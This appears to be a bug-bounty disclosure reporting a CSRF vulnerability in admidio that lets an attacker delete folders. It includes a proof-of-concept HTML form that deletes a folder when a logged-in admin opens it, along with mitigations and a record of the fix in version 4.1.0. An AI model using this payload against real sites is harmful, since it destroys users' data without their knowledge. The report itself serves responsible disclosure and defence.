Cross-Site Request Forgery (CSRF) in admidio/admidio


Reported on

Aug 17th 2021

✍️ Description

Attacker able to delete any folder with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Browser.

2.Open the PoC.html (it is auto-submit).

3.Here a folder with folder_id 4 will be deleted after the PoC.html file opened.

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/admidio/adm_program/modules/documents-files/documents_files_function.php">
      <input type="hidden" name="mode" value="5" />
      <input type="hidden" name="folder&#95;id" value="4" />
      <input type="submit" value="Submit request" />

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )

💥 Impact

This vulnerability is capable of delete any folder.


The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.

The best way is that you set a CSRF token in each endpoint. 📍 Location index.php#L1 📍 Location index.php#L1

Am modified the report
3 years ago
Am modified the report
3 years ago
3 years ago

Hey ammamad, I've reached out to admidio. Waiting to hear back.

We have contacted a member of the admidio team and are waiting to hear back 3 years ago
admidio/admidio maintainer validated this vulnerability 2 years ago
am0o0 has been awarded the disclosure bounty
The fix bounty is now up for grabs
Markus Faßbender marked this as fixed in 4.1.0 with commit eec453 2 years ago
Markus Faßbender has been awarded the fix bounty
to join this conversation